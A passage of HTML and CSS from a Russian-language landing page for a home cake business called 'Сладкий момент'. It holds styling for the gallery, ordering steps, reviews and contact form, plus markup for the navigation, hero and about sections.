#fff;\n        }\n\n        .hero-img-float.f1 {\n            width: 160px;\n            height: 160px;\n            bottom: -20px;\n            left: -30px;\n            border-radius: 50%;\n            animation: floatY 6s ease-in-out infinite;\n        }\n\n        .hero-img-float.f2 {\n            width: 110px;\n            height: 110px;\n            top: 20px;\n            left: 0;\n            border-radius: var(--r24);\n            animation: floatY 8s ease-in-out infinite reverse;\n        }\n\n        @keyframes floatY {\n\n            0%,\n            100% {\n                transform: translateY(0);\n            }\n\n            50% {\n                transform: translateY(-14px);\n            }\n        }\n\n        .hero-badge-float {\n            position: absolute;\n            bottom: 80px;\n            right: 0;\n            background: #fff;\n            border-radius: var(--r16);\n            padding: 12px 18px;\n            box-shadow: var(--shadow-md);\n            display: flex;\n            align-items: center;\n            gap: 10px;\n            animation: floatY 5s ease-in-out infinite;\n        }\n\n        .hero-badge-float .hbf-icon {\n            width: 36px;\n            height: 36px;\n            background: var(--rose-pale);\n            border-radius: 50%;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            color: var(--rose);\n        }\n\n        .hero-badge-float .hbf-icon svg {\n            width: 18px;\n            height: 18px;\n        }\n\n        .hero-badge-float .hbf-text {\n            font-size: 0.72rem;\n        }\n\n        .hero-badge-float .hbf-text strong {\n            display: block;\n            font-size: 0.82rem;\n            color: var(--text);\n            font-weight: 700;\n        }\n\n        /* ── ABOUT ── */\n        #about {\n            padding: 7rem 5vw;\n            background: var(--white);\n        }\n\n        .about-grid {\n            display: grid;\n            grid-template-columns: 1fr 1fr;\n            gap: 5rem;\n            align-items: center;\n            max-width: 1200px;\n            margin: 0 auto;\n        }\n\n        .about-img-wrap {\n            position: relative;\n        }\n\n        .about-img-main {\n            width: 100%;\n            height: 480px;\n            object-fit: cover;\n            border-radius: 24px 64px 24px 64px;\n            box-shadow: var(--shadow-lg);\n        }\n\n        .about-img-accent {\n            position: absolute;\n            width: 180px;\n            height: 180px;\n            object-fit: cover;\n            border-radius: 50%;\n            bottom: -30px;\n            right: -30px;\n            border: 4px solid #fff;\n            box-shadow: var(--shadow-md);\n        }\n\n        .about-decor {\n            position: absolute;\n            top: -20px;\n            left: -20px;\n            width: 100px;\n            height: 100px;\n            border: 2px solid rgba(212, 96, 138, 0.2);\n            border-radius: 50%;\n        }\n\n        .about-decor::before {\n            content: '';\n            position: absolute;\n            inset: 12px;\n            border: 1.5px solid rgba(212, 96, 138, 0.12);\n            border-radius: 50%;\n        }\n\n        .about-text p {\n            font-size: 1.02rem;\n            line-height: 1.8;\n            color: var(--text-muted);\n            margin-bottom: 1.1rem;\n        }\n\n        .about-features {\n            display: grid;\n            grid-template-columns: 1fr 1fr;\n            gap: 1rem;\n            margin-top: 2rem;\n        }\n\n        .about-feature {\n            display: flex;\n            align-items: flex-start;\n            gap: 12px;\n            padding: 16px;\n            border-radius: var(--r16);\n            background: var(--rose-ultra);\n            transition: background 0.3s, transform 0.3s;\n        }\n\n        .about-feature:hover {\n            background: var(--rose-pale);\n            transform: translateY(-3px);\n        }\n\n        .af-icon {\n            width: 38px;\n            height: 38px;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            background: #fff;\n            border-radius: 50%;\n            color: var(--rose);\n            flex-shrink: 0;\n            box-shadow: var(--shadow-sm);\n        }\n\n        .af-icon svg {\n            width: 18px;\n            height: 18px;\n        }\n\n        .af-label {\n            font-size: 0.82rem;\n            font-weight: 700;\n            color: var(--text);\n            margin-bottom: 2px;\n        }\n\n        .af-desc {\n            font-size: 0.72rem;\n            color: var(--text-muted);\n            line-height: 1.5;\n        }\n\n        /* ── GALLERY ── */\n        #gallery {\n            padding: 7rem 5vw;\n            background: linear-gradient(180deg, var(--rose-ultra) 0%, var(--white) 100%);\n        }\n\n        .gallery-header {\n            max-width: 1200px;\n            margin: 0 auto 3.5rem;\n            display: flex;\n            align-items: flex-end;\n            justify-content: space-between;\n            gap: 2rem;\n            flex-wrap: wrap;\n        }\n\n        .gallery-filter {\n            display: flex;\n            gap: 0.6rem;\n            flex-wrap: wrap;\n        }\n\n        .filter-btn {\n            font-size: 0.72rem;\n            font-weight: 700;\n            letter-spacing: 0.08em;\n            padding: 8px 18px;\n            border-radius: var(--r32);\n            border: 1.5px solid rgba(212, 96, 138, 0.2);\n            background: transparent;\n            color: var(--text-muted);\n            cursor: pointer;\n            transition: all 0.25s;\n        }\n\n        .filter-btn.active,\n        .filter-btn:hover {\n            background: var(--rose);\n            color: #fff;\n            border-color: var(--rose);\n            box-shadow: 0 4px 16px rgba(212, 96, 138, 0.3);\n        }\n\n        .gallery-grid {\n            display: grid;\n            grid-template-columns: repeat(3, 1fr);\n            gap: 1.4rem;\n            max-width: 1200px;\n            margin: 0 auto;\n        }\n\n        .gallery-item {\n            position: relative;\n            overflow: hidden;\n            border-radius: var(--r24);\n            cursor: pointer;\n            box-shadow: var(--shadow-sm);\n            transition: transform 0.4s var(--ease), box-shadow 0.4s var(--ease);\n            background: var(--rose-ultra);\n        }\n\n        .gallery-item:hover {\n            transform: translateY(-6px) scale(1.01);\n            box-shadow: var(--shadow-lg);\n        }\n\n        .gallery-item.tall {\n            grid-row: span 2;\n        }\n\n        .gallery-img {\n            width: 100%;\n            height: 280px;\n            object-fit: cover;\n            display: block;\n            transition: transform 0.55s var(--ease);\n        }\n\n        .gallery-item.tall .gallery-img {\n            height: 580px;\n        }\n\n        .gallery-item:hover .gallery-img {\n            transform: scale(1.07);\n        }\n\n        .gallery-caption {\n            position: absolute;\n            bottom: 0;\n            left: 0;\n            right: 0;\n            padding: 2rem 1.4rem 1.4rem;\n            background: linear-gradient(transparent, rgba(45, 27, 46, 0.75));\n            color: #fff;\n            transform: translateY(100%);\n            transition: transform 0.4s var(--ease);\n            border-radius: 0 0 var(--r24) var(--r24);\n        }\n\n        .gallery-item:hover .gallery-caption {\n            transform: translateY(0);\n        }\n\n        .gallery-caption-title {\n            font-family: 'Cormorant Garamond', serif;\n            font-size: 1.15rem;\n            font-weight: 500;\n            margin-bottom: 4px;\n        }\n\n        .gallery-caption-sub {\n            font-size: 0.72rem;\n            letter-spacing: 0.08em;\n            opacity: 0.8;\n        }\n\n        .gallery-item-badge {\n            position: absolute;\n            top: 12px;\n            right: 12px;\n            background: rgba(255, 255, 255, 0.95);\n            color: var(--rose);\n            font-size: 0.62rem;\n            font-weight: 800;\n            letter-spacing: 0.12em;\n            text-transform: uppercase;\n            padding: 4px 10px;\n            border-radius: var(--r32);\n        }\n\n        /* lightbox */\n        #lightbox {\n            position: fixed;\n            inset: 0;\n            z-index: 900;\n            background: rgba(20, 5, 15, 0.92);\n            backdrop-filter: blur(12px);\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            opacity: 0;\n            pointer-events: none;\n            transition: opacity 0.35s;\n        }\n\n        #lightbox.open {\n            opacity: 1;\n            pointer-events: all;\n        }\n\n        #lightbox img {\n            max-width: 88vw;\n            max-height: 85vh;\n            border-radius: var(--r24);\n            box-shadow: 0 30px 100px rgba(0, 0, 0, 0.6);\n            object-fit: contain;\n            scale: 0.9;\n            transition: scale 0.35s var(--ease);\n        }\n\n        #lightbox.open img {\n            scale: 1;\n        }\n\n        #lb-close {\n            position: absolute;\n            top: 24px;\n            right: 24px;\n            width: 44px;\n            height: 44px;\n            background: rgba(255, 255, 255, 0.12);\n            border: none;\n            cursor: pointer;\n            border-radius: 50%;\n            color: #fff;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            transition: background 0.25s;\n        }\n\n        #lb-close:hover {\n            background: rgba(255, 255, 255, 0.22);\n        }\n\n        #lb-close svg {\n            width: 20px;\n            height: 20px;\n        }\n\n        #lb-prev,\n        #lb-next {\n            position: absolute;\n            top: 50%;\n            transform: translateY(-50%);\n            width: 50px;\n            height: 50px;\n            background: rgba(255, 255, 255, 0.1);\n            border: 1.5px solid rgba(255, 255, 255, 0.15);\n            border-radius: 50%;\n            cursor: pointer;\n            color: #fff;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            transition: background 0.25s;\n        }\n\n        #lb-prev:hover,\n        #lb-next:hover {\n            background: rgba(255, 255, 255, 0.2);\n        }\n\n        #lb-prev svg,\n        #lb-next svg {\n            width: 22px;\n            height: 22px;\n        }\n\n        #lb-prev {\n            left: 24px;\n        }\n\n        #lb-next {\n            right: 24px;\n        }\n\n        /* ── HOW TO ORDER ── */\n        #how {\n            padding: 7rem 5vw;\n            background: var(--white);\n        }\n\n        .how-header {\n            max-width: 600px;\n            margin: 0 auto 4rem;\n            text-align: center;\n        }\n\n        .how-header .divider-rose {\n            margin: 1.2rem auto 0;\n        }\n\n        .how-steps {\n            display: grid;\n            grid-template-columns: repeat(4, 1fr);\n            gap: 1.5rem;\n            max-width: 1200px;\n            margin: 0 auto;\n            position: relative;\n        }\n\n        .how-steps::before {\n            content: '';\n            position: absolute;\n            top: 52px;\n            left: calc(12.5% + 36px);\n            right: calc(12.5% + 36px);\n            height: 1px;\n            border-top: 2px dashed rgba(212, 96, 138, 0.18);\n            pointer-events: none;\n        }\n\n        .how-step {\n            text-align: center;\n            padding: 2rem 1.5rem 2rem;\n            border-radius: var(--r24);\n            background: var(--white);\n            border: 1.5px solid rgba(212, 96, 138, 0.1);\n            box-shadow: var(--shadow-sm);\n            transition: border-color 0.3s, box-shadow 0.3s, transform 0.3s;\n        }\n\n        .how-step:hover {\n            border-color: rgba(212, 96, 138, 0.28);\n            box-shadow: var(--shadow-md);\n            transform: translateY(-5px);\n        }\n\n        /* объединённый визуальный элемент */\n        .how-step-visual {\n            position: relative;\n            width: 80px;\n            height: 80px;\n            margin: 0 auto 1.6rem;\n        }\n\n        .how-step-visual .step-icon-circle {\n            width: 80px;\n            height: 80px;\n            border-radius: 50%;\n            background: var(--rose-pale);\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            color: var(--rose);\n            transition: background 0.3s, transform 0.3s;\n        }\n\n        .how-step:hover .step-icon-circle {\n            background: linear-gradient(135deg, var(--rose-light), var(--rose));\n            color: #fff;\n            transform: scale(1.07);\n        }\n\n        .how-step-visual .step-icon-circle svg {\n            width: 34px;\n            height: 34px;\n        }\n\n        .how-step-visual .step-num-badge {\n            position: absolute;\n            top: -6px;\n            right: -6px;\n            width: 26px;\n            height: 26px;\n            border-radius: 50%;\n            background: linear-gradient(135deg, var(--rose), var(--berry));\n            color: #fff;\n            font-family: 'Nunito', sans-serif;\n            font-size: 0.72rem;\n            font-weight: 800;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            box-shadow: 0 2px 8px rgba(212, 96, 138, 0.45);\n            border: 2px solid #fff;\n        }\n\n        .how-step-title {\n            font-family: 'Cormorant Garamond', serif;\n            font-size: 1.2rem;\n            font-weight: 600;\n            color: var(--text);\n            margin-bottom: 0.5rem;\n        }\n\n        .how-step-desc {\n            font-size: 0.82rem;\n            line-height: 1.65;\n            color: var(--text-muted);\n        }\n\n        /* ── REVIEWS ── */\n        #reviews {\n            padding: 7rem 5vw;\n            background: linear-gradient(180deg, var(--cream) 0%, var(--rose-ultra) 100%);\n            overflow: hidden;\n        }\n\n        .reviews-header {\n            max-width: 600px;\n            margin: 0 auto 3.5rem;\n            text-align: center;\n        }\n\n        .reviews-header .divider-rose {\n            margin: 1.2rem auto 0;\n        }\n\n        .reviews-track-wrap {\n            max-width: 1200px;\n            margin: 0 auto;\n            position: relative;\n        }\n\n        .reviews-grid {\n            display: grid;\n            grid-template-columns: repeat(3, 1fr);\n            gap: 1.5rem;\n        }\n\n        .review-card {\n            background: var(--white);\n            border-radius: var(--r24);\n            padding: 2rem;\n            box-shadow: var(--shadow-sm);\n            transition: transform 0.3s var(--ease), box-shadow 0.3s;\n            position: relative;\n        }\n\n        .review-card:hover {\n            transform: translateY(-5px);\n            box-shadow: var(--shadow-md);\n        }\n\n        .review-card::before {\n            content: '\\201C';\n            position: absolute;\n            top: 16px;\n            right: 20px;\n            font-family: 'Cormorant Garamond', serif;\n            font-size: 5rem;\n            line-height: 1;\n            color: rgba(212, 96, 138, 0.1);\n            pointer-events: none;\n        }\n\n        .review-stars {\n            display: flex;\n            gap: 4px;\n            margin-bottom: 1rem;\n            color: var(--caramel);\n        }\n\n        .review-stars svg {\n            width: 16px;\n            height: 16px;\n        }\n\n        .review-text {\n            font-size: 0.9rem;\n            line-height: 1.75;\n            color: var(--text-muted);\n            margin-bottom: 1.4rem;\n        }\n\n        .review-author {\n            display: flex;\n            align-items: center;\n            gap: 12px;\n        }\n\n        .review-avatar {\n            width: 46px;\n            height: 46px;\n            border-radius: 50%;\n            background: linear-gradient(135deg, var(--rose-light), var(--caramel));\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            font-family: 'Cormorant Garamond', serif;\n            font-size: 1.2rem;\n            font-weight: 600;\n            color: var(--berry);\n            flex-shrink: 0;\n        }\n\n        .review-name {\n            font-size: 0.88rem;\n            font-weight: 700;\n            color: var(--text);\n        }\n\n        .review-date {\n            font-size: 0.72rem;\n            color: var(--text-muted);\n            margin-top: 2px;\n        }\n\n        /* ── CTA BAND ── */\n        #cta-band {\n            padding: 5rem 5vw;\n            background: linear-gradient(135deg, var(--rose) 0%, var(--berry) 100%);\n            text-align: center;\n            position: relative;\n            overflow: hidden;\n        }\n\n        #cta-band::before {\n            content: '';\n            position: absolute;\n            inset: 0;\n            background: url(\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='60' height='60'%3E%3Ccircle cx='30' cy='30' r='1.5' fill='rgba(255,255,255,0.12)'/%3E%3C/svg%3E\");\n            pointer-events: none;\n        }\n\n        #cta-band .script-title {\n            font-family: 'Great Vibes', cursive;\n            font-size: clamp(2.5rem, 6vw, 4.5rem);\n            color: rgba(255, 255, 255, 0.9);\n            margin-bottom: 1rem;\n        }\n\n        #cta-band p {\n            font-size: 1.05rem;\n            color: rgba(255, 255, 255, 0.78);\n            margin-bottom: 2.5rem;\n            max-width: 500px;\n            margin-left: auto;\n            margin-right: auto;\n            line-height: 1.7;\n        }\n\n        .btn-white {\n            display: inline-flex;\n            align-items: center;\n            gap: 10px;\n            font-size: 0.88rem;\n            font-weight: 700;\n            letter-spacing: 0.06em;\n            padding: 16px 36px;\n            background: #fff;\n            color: var(--rose);\n            border-radius: var(--r32);\n            transition: transform 0.25s, box-shadow 0.25s;\n            box-shadow: 0 8px 30px rgba(0, 0, 0, 0.2);\n        }\n\n        .btn-white:hover {\n            transform: translateY(-2px);\n            box-shadow: 0 14px 40px rgba(0, 0, 0, 0.28);\n        }\n\n        .btn-white svg {\n            width: 18px;\n            height: 18px;\n        }\n\n        /* ── CONTACT ── */\n        #contact {\n            padding: 7rem 5vw;\n            background: var(--white);\n        }\n\n        .contact-grid {\n            display: grid;\n            grid-template-columns: 1fr 1fr;\n            gap: 5rem;\n            align-items: start;\n            max-width: 1200px;\n            margin: 0 auto;\n        }\n\n        .contact-info-items {\n            display: flex;\n            flex-direction: column;\n            gap: 1.5rem;\n            margin-top: 2.5rem;\n        }\n\n        .contact-info-item {\n            display: flex;\n            align-items: center;\n            gap: 16px;\n            padding: 18px 22px;\n            border-radius: var(--r16);\n            background: var(--rose-ultra);\n            transition: background 0.3s, transform 0.3s;\n        }\n\n        .contact-info-item:hover {\n            background: var(--rose-pale);\n            transform: translateX(6px);\n        }\n\n        .cii-icon {\n            width: 46px;\n            height: 46px;\n            background: #fff;\n            border-radius: 50%;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            color: var(--rose);\n            flex-shrink: 0;\n            box-shadow: var(--shadow-sm);\n        }\n\n        .cii-icon svg {\n            width: 22px;\n            height: 22px;\n        }\n\n        .cii-label {\n            font-size: 0.7rem;\n            font-weight: 700;\n            letter-spacing: 0.1em;\n            text-transform: uppercase;\n            color: var(--text-muted);\n            margin-bottom: 3px;\n        }\n\n        .cii-value {\n            font-size: 0.98rem;\n            font-weight: 700;\n            color: var(--text);\n        }\n\n        .cii-value a {\n            color: var(--rose);\n            transition: opacity 0.2s;\n        }\n\n        .cii-value a:hover {\n            opacity: 0.75;\n        }\n\n        /* order form */\n        .order-form {\n            background: var(--rose-ultra);\n            border-radius: var(--r24);\n            padding: 2.6rem;\n        }\n\n        .order-form-title {\n            font-family: 'Cormorant Garamond', serif;\n            font-size: 1.8rem;\n            font-weight: 500;\n            color: var(--text);\n            margin-bottom: 0.4rem;\n        }\n\n        .order-form-sub {\n            font-size: 0.82rem;\n            color: var(--text-muted);\n            margin-bottom: 1.8rem;\n        }\n\n        .form-group {\n            margin-bottom: 1.1rem;\n        }\n\n        .form-group label {\n            display: block;\n            font-size: 0.72rem;\n            font-weight: 700;\n            letter-spacing: 0.1em;\n            text-transform: uppercase;\n            color: var(--text-muted);\n            margin-bottom: 6px;\n        }\n\n        .form-group input,\n        .form-group select,\n        .form-group textarea {\n            width: 100%;\n            padding: 12px 16px;\n            border-radius: var(--r16);\n            border: 1.5px solid rgba(212, 96, 138, 0.2);\n            background: #fff;\n            font-family: 'Nunito', sans-serif;\n            font-size: 0.9rem;\n            color: var(--text);\n            outline: none;\n            transition: border-color 0.25s, box-shadow 0.25s;\n        }\n\n        .form-group input:focus,\n        .form-group select:focus,\n        .form-group textarea:focus {\n            border-color: var(--rose);\n            box-shadow: 0 0 0 3px rgba(212, 96, 138, 0.12);\n        }\n\n        .form-group textarea {\n            resize: vertical;\n            min-height: 90px;\n        }\n\n        .form-row {\n            display: grid;\n            grid-template-columns: 1fr 1fr;\n            gap: 1rem;\n        }\n\n        .form-submit {\n            width: 100%;\n            padding: 14px;\n            border-radius: var(--r32);\n            border: none;\n            background: linear-gradient(135deg, var(--rose) 0%, var(--berry) 100%);\n            color: #fff;\n            font-family: 'Nunito', sans-serif;\n            font-size: 0.9rem;\n            font-weight: 700;\n            letter-spacing: 0.06em;\n            cursor: pointer;\n            transition: opacity 0.25s, transform 0.25s;\n            margin-top: 0.5rem;\n            box-shadow: 0 6px 24px rgba(212, 96, 138, 0.38);\n        }\n\n        .form-submit:hover {\n            opacity: 0.9;\n            transform: translateY(-1px);\n        }\n\n        /* ── FOOTER ── */\n        footer {\n            background: var(--text);\n            color: rgba(255, 255, 255, 0.75);\n            padding: 4rem 5vw 2.5rem;\n        }\n\n        .footer-top {\n            display: grid;\n            grid-template-columns: 1.5fr 1fr 1fr;\n            gap: 4rem;\n            max-width: 1200px;\n            margin: 0 auto 3rem;\n            padding-bottom: 3rem;\n            border-bottom: 1px solid rgba(255, 255, 255, 0.08);\n        }\n\n        .footer-logo {\n            font-family: 'Great Vibes', cursive;\n            font-size: 2.4rem;\n            color: var(--rose-light);\n            margin-bottom: 1rem;\n        }\n\n        .footer-desc {\n            font-size: 0.85rem;\n            line-height: 1.75;\n            color: rgba(255, 255, 255, 0.45);\n        }\n\n        .footer-col-title {\n            font-size: 0.72rem;\n            font-weight: 800;\n            letter-spacing: 0.15em;\n            text-transform: uppercase;\n            color: rgba(255, 255, 255, 0.9);\n            margin-bottom: 1.2rem;\n        }\n\n        .footer-col ul {\n            list-style: none;\n            display: flex;\n            flex-direction: column;\n            gap: 0.65rem;\n        }\n\n        .footer-col ul a {\n            font-size: 0.85rem;\n            color: rgba(255, 255, 255, 0.5);\n            transition: color 0.25s;\n        }\n\n        .footer-col ul a:hover {\n            color: var(--rose-light);\n        }\n\n        .footer-social {\n            display: flex;\n            gap: 0.8rem;\n            margin-top: 1.5rem;\n        }\n\n        .social-btn {\n            width: 38px;\n            height: 38px;\n            border-radius: 50%;\n            background: rgba(255, 255, 255, 0.06);\n            border: 1px solid rgba(255, 255, 255, 0.1);\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            color: rgba(255, 255, 255, 0.6);\n            transition: background 0.25s, color 0.25s, border-color 0.25s;\n        }\n\n        .social-btn svg {\n            width: 17px;\n            height: 17px;\n        }\n\n        .social-btn:hover {\n            background: var(--rose);\n            border-color: var(--rose);\n            color: #fff;\n        }\n\n        .footer-bottom {\n            max-width: 1200px;\n            margin: 0 auto;\n            display: flex;\n            align-items: center;\n            justify-content: space-between;\n            gap: 1rem;\n            flex-wrap: wrap;\n            font-size: 0.75rem;\n            color: rgba(255, 255, 255, 0.3);\n        }\n\n        /* ── FLOATING PARTICLES ── */\n        .particle {\n            position: fixed;\n            pointer-events: none;\n            border-radius: 50%;\n            opacity: 0;\n            animation: particleFly linear infinite;\n        }\n\n        @keyframes particleFly {\n            0% {\n                opacity: 0;\n                transform: translateY(0) rotate(0deg);\n            }\n\n            10% {\n                opacity: 0.8;\n            }\n\n            90% {\n                opacity: 0.6;\n            }\n\n            100% {\n                opacity: 0;\n                transform: translateY(-100vh) rotate(720deg);\n            }\n        }\n\n        /* ── RESPONSIVE ── */\n        @media (max-width: 1024px) {\n            .gallery-grid {\n                grid-template-columns: repeat(2, 1fr);\n            }\n\n            .gallery-item.tall {\n                grid-row: auto;\n            }\n\n            .gallery-item.tall .gallery-img {\n                height: 280px;\n            }\n\n            .how-steps {\n                grid-template-columns: repeat(2, 1fr);\n            }\n\n            .how-steps::before {\n                display: none;\n            }\n\n            .reviews-grid {\n                grid-template-columns: repeat(2, 1fr);\n            }\n\n            .footer-top {\n                grid-template-columns: 1fr 1fr;\n            }\n        }\n\n        @media (max-width: 768px) {\n            #hero {\n                grid-template-columns: 1fr;\n                text-align: center;\n                padding: 7rem 5vw 4rem;\n            }\n\n            .hero-sub {\n                margin-left: auto;\n                margin-right: auto;\n            }\n\n            .hero-actions {\n                justify-content: center;\n            }\n\n            .hero-stats {\n                justify-content: center;\n            }\n\n            .hero-visual {\n                display: none;\n            }\n\n            .about-grid {\n                grid-template-columns: 1fr;\n                gap: 3rem;\n            }\n\n            .about-img-wrap {\n                max-width: 360px;\n                margin: 0 auto;\n            }\n\n            .contact-grid {\n                grid-template-columns: 1fr;\n                gap: 3rem;\n            }\n\n            .reviews-grid {\n                grid-template-columns: 1fr;\n            }\n\n            .footer-top {\n                grid-template-columns: 1fr;\n                gap: 2rem;\n            }\n\n            .nav-links,\n            .nav-cta {\n                display: none;\n            }\n\n            .nav-burger {\n                display: flex;\n            }\n\n            .gallery-grid {\n                grid-template-columns: 1fr;\n            }\n\n            .how-steps {\n                grid-template-columns: 1fr;\n            }\n\n            .form-row {\n                grid-template-columns: 1fr;\n            }\n        }\n\n        @media (max-width: 480px) {\n            .about-features {\n                grid-template-columns: 1fr;\n            }\n\n            .hero-badge-float {\n                display: none;\n            }\n        }\n    </style>\n</head>\n\n<body>\n\n    <!-- ── NAVIGATION ── -->\n    <nav id=\"nav\">\n        <a class=\"nav-logo\" href=\"#\">Сладкий момент</a>\n\n        <ul class=\"nav-links\">\n            <li><a href=\"#about\">О мастере</a></li>\n            <li><a href=\"#gallery\">Портфолио</a></li>\n            <li><a href=\"#how\">Как заказать</a></li>\n            <li><a href=\"#reviews\">Отзывы</a></li>\n            <li><a href=\"#contact\">Контакты</a></li>\n        </ul>\n\n        <a class=\"nav-cta\" href=\"#contact\">Заказать торт</a>\n\n        <button class=\"nav-burger\" id=\"nav-burger\" aria-label=\"Меню\">\n            <span></span><span></span><span></span>\n        </button>\n    </nav>\n\n    <!-- mobile menu -->\n    <div id=\"nav-mobile\">\n        <a href=\"#about\" onclick=\"closeMobile()\">О мастере</a>\n        <a href=\"#gallery\" onclick=\"closeMobile()\">Портфолио</a>\n        <a href=\"#how\" onclick=\"closeMobile()\">Как заказать</a>\n        <a href=\"#reviews\" onclick=\"closeMobile()\">Отзывы</a>\n        <a href=\"#contact\" onclick=\"closeMobile()\">Контакты</a>\n        <a href=\"#contact\" onclick=\"closeMobile()\" style=\"color:var(--rose);font-weight:700;\">+7 (XXX) XXX-XX-XX</a>\n    </div>\n\n    <!-- ── HERO ── -->\n    <section id=\"hero\">\n        <div class=\"hero-content\">\n            <div class=\"hero-badge reveal\">\n                <svg viewBox=\"0 0 16 16\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.8\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                    <path d=\"M8 1l1.8 3.6L14 5.5l-3 2.9.7 4.1L8 10.4l-3.7 2.1.7-4.1L2 5.5l4.2-.9z\" />\n                </svg>\n                Кондитер г. Тандем\n            </div>\n            <h1 class=\"hero-heading reveal reveal-delay-1\">\n                Торты, которые<br>\n                <span>делают день</span>\n                <span class=\"script\">незабываемым</span>\n            </h1>\n            <p class=\"hero-sub reveal reveal-delay-2\">\n                Авторские торты ручной работы — от нежных муссовых до многоярусных свадебных шедевров. Каждый торт создаётся специально для вас с любовью и вниманием к деталям.\n            </p>\n            <div class=\"hero-actions reveal reveal-delay-3\">\n                <a class=\"btn-primary\" href=\"#contact\">\n                    <svg viewBox=\"0 0 16 16\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.8\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                        <path d=\"M13 11.5c0 .3-.07.6-.2.87a1.5 1.5 0 01-.55.63c-.37.23-.77.35-1.25.35-.66 0-1.37-.17-2.1-.5a11.2 11.2 0 01-2.1-1.37 11 11 0 01-1.36-2.08 5.33 5.33 0 01-.5-2.08c0-.46.1-.9.32-1.26a1.5 1.5 0 011.32-.78c.16 0 .32.03.47.1.15.07.29.17.4.32l1.35 1.9c.1.15.18.28.23.42a.9.9 0 01.08.36c0 .14-.04.28-.11.42a1.8 1.8 0 01-.3.4l-.4.43a.28.28 0 00-.08.2c0 .04 0 .08.02.12.05.1.13.23.25.4.13.16.26.32.4.48.17.17.34.33.53.48.17.14.33.27.48.37a.3.3 0 00.34-.02l.4-.4c.14-.13.28-.24.41-.3a.9.9 0 01.42-.11.96.96 0 01.36.07c.13.05.27.13.41.24l1.93 1.37c.15.1.25.24.32.4.06.14.1.3.1.49z\" />\n                    </svg>\n                    Заказать торт\n                </a>\n                <a class=\"btn-ghost\" href=\"#gallery\">\n                    <svg viewBox=\"0 0 16 16\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.8\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                        <rect x=\"1\" y=\"2\" width=\"14\" height=\"12\" rx=\"2\" />\n                        <path d=\"M1 8l4-3 4 4 2-2 4 3\" />\n                    </svg>\n                    Смотреть работы\n                </a>\n            </div>\n            <div class=\"hero-stats reveal reveal-delay-4\">\n                <div>\n                    <div class=\"hero-stat-num\">200+</div>\n                    <div class=\"hero-stat-label\">Тортов создано</div>\n                </div>\n                <div>\n                    <div class=\"hero-stat-num\">5★</div>\n                    <div class=\"hero-stat-label\">Средняя оценка</div>\n                </div>\n                <div>\n                    <div class=\"hero-stat-num\">3+</div>\n                    <div class=\"hero-stat-label\">Года опыта</div>\n                </div>\n            </div>\n        </div>\n        <div class=\"hero-visual reveal reveal-delay-2\">\n            <div style=\"position:relative; display:inline-block; width:100%;\">\n                <img class=\"hero-img-main\" src=\"1.png\" alt=\"Авторский торт\" />\n                <img class=\"hero-img-float f1\" src=\"3.jpg\" alt=\"Торт\" />\n                <img class=\"hero-img-float f2\" src=\"5.png\" alt=\"Торт\" />\n                <div class=\"hero-badge-float\">\n                    <span class=\"hbf-icon\">\n                        <svg viewBox=\"0 0 16 16\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.8\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                            <path d=\"M8 1l1.8 3.6L14 5.5l-3 2.9.7 4.1L8 10.4l-3.7 2.1.7-4.1L2 5.5l4.2-.9z\" fill=\"currentColor\" stroke=\"none\" />\n                        </svg>\n                    </span>\n                    <div class=\"hbf-text\">\n                        <strong>Только натуральные</strong>\n                        ингредиенты\n                    </div>\n                </div>\n            </div>\n        </div>\n    </section>\n\n    <!-- ── ABOUT ── -->\n    <section id=\"about\">\n        <div class=\"about-grid\">\n            <div class=\"about-img-wrap reveal\">\n                <div class=\"about-decor\"></div>\n                <img class=\"about-img-main\" src=\"2.png\" alt=\"Виктория — кондитер\" />\n                <img class=\"about-img-accent\" src=\"4.png\" alt=\"Украшение торта\" />\n            </div>\n            <div class=\"about-text\">\n                <span class=\"section-label reveal\">О мастере</span>\n                <h2 class=\"section-title reveal reveal-delay-1\">Привет! Я <em>Виктория</em>, ваш кондитер</h2>\n                <div class=\"divider-rose reveal reveal-delay-1\"></div>\n                <p class=\"reveal reveal-delay-2\">\n                    Я создаю авторские торты и десерты с душой — каждое изделие это маленький шедевр, в который вложены тепло, внимание и профессионализм. Работаю в г. Тандем уже более 3 лет.\n                </p>\n                <p class=\"reveal reveal-delay-2\">\n                    Специализируюсь на свадебных тортах, тематических тортах для детей, муссовых десертах и кэнди-барах. Использую только свежие продукты — никаких искусственных красителей и добавок.\n                </p>\n                <div class=\"about-features reveal reveal-delay-3\">\n                    <div class=\"about-feature\">\n                        <div class=\"af-icon\">\n                            <svg viewBox=\"0 0 16 16\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.8\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                                <path d=\"M8 13.4l-.7-.6C3.4 9.3 1 7.2 1 4.5a3.5 3.5 0 0 1 7 0 3.5 3.5 0 0 1 7 0c0 2.7-2.4 4.8-6.3 8.3L8 13.4z\" />\n                            </svg>\n                        </div>\n                        <div>\n                            <div class=\"af-label\">С любовью</div>\n                            <div class=\"af-desc\">Каждый торт создаётся с заботой для вас</div>\n                        </div>\n                    </div>\n                    <div class=\"about-feature\">\n                        <div class=\"af-icon\">\n                            <svg viewBox=\"0 0 16 16\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.8\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                                <path d=\"M2 14C2 7 7 2 14 2C14 9 9 14 2 14Z\" />\n                                <path d=\"M2 14L9.5 6.5\" />\n                            </svg>\n                        </div>\n                        <div>\n                            <div class=\"af-label\">Натуральный состав</div>\n                            <div class=\"af-desc\">Только свежие и качественные 